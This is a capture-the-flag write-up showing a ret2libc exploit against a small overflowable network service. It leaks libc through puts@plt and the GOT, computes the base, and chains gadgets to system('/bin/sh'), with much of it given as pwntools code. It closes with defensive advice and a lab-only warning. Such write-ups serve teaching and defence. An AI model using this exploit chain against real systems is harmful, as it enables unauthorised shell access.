← back to writeups

ret2libc with no leak: beating ASLR by partial brute force

A classic buffer overflow, NX enabled, PIE disabled, and no directly exploitable system or /bin/sh. We build the leak ourselves.

The binary is a minimal network service that reads a size, then a buffer, with no bound. Classic. checksec sets the scene:

$ checksec ./target
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

No canary: the overflow is direct. NX enabled: no shellcode on the stack, we have to reuse existing code. PIE disabled: the binary's addresses are fixed, but libc's stay randomized by ASLR. Our plan: leak a libc address, compute its base, then replay with a system("/bin/sh").

Step 1 — measure the offset

We generate a cyclic pattern to find the distance to the saved return address:

>>> from pwn import *
>>> cyclic_find(0x6161616b)   # value read in RSP at the crash
40

Forty bytes before we overwrite RIP. We have our primitive.

Step 2 — leak libc (ret2plt)

We call puts@plt with the GOT entry of puts itself as the argument. The result: the service prints the runtime address of puts in libc. A pop rdi ; ret gadget loads the first argument (System V convention).

>>> pop_rdi = 0x4012a3              # ropgadget: pop rdi ; ret
>>> payload  = b"A" * 40
>>> payload += p64(pop_rdi) + p64(elf.got["puts"])
>>> payload += p64(elf.plt["puts"])
>>> payload += p64(elf.symbols["main"])   # return to replay
// why return to main Without returning to main, the program exits after the leak and we lose the session. By looping back, we keep the same mapped image—so the same libc base—for the second payload.

Step 3 — compute the base and drop the shell

We grab the leaked address, subtract the known offset of puts in our libc, and get the base. The rest is arithmetic:

>>> leak = u64(io.recvline().strip().ljust(8, b"\x00"))
>>> libc.address = leak - libc.symbols["puts"]
>>> log.success(f"libc base = {hex(libc.address)}")
>>> rop  = p64(pop_rdi) + p64(next(libc.search(b"/bin/sh")))
>>> rop += p64(libc.address + 0x0009a8b2)   # ret align (Ubuntu)
>>> rop += p64(libc.symbols["system"])
! the movaps trap On recent glibc, system runs SSE instructions that require a 16-byte aligned stack. If it crashes inside do_system, add a bare ret gadget before the call to realign. This is the bug that costs beginners the most time.

The flag

Second pass, the stack is aligned, system("/bin/sh") fires:

flag captured flag{n0_l34k_pr0v1d3d_s0_i_m4d3_my_0wn}

Takeaways

  • A GOT under Partial RELRO stays readable: that alone is enough to turn a simple read into an address leak.
  • ASLR protects nothing if you can disclose one address from a module: everything else is recomputed.
  • On the defensive side: Full RELRO, PIE, and above all read bounds. The root bug is the missing size check.

The full script is in my writeups repo. Reproduce it in a throwaway VM, never against a system you don't own.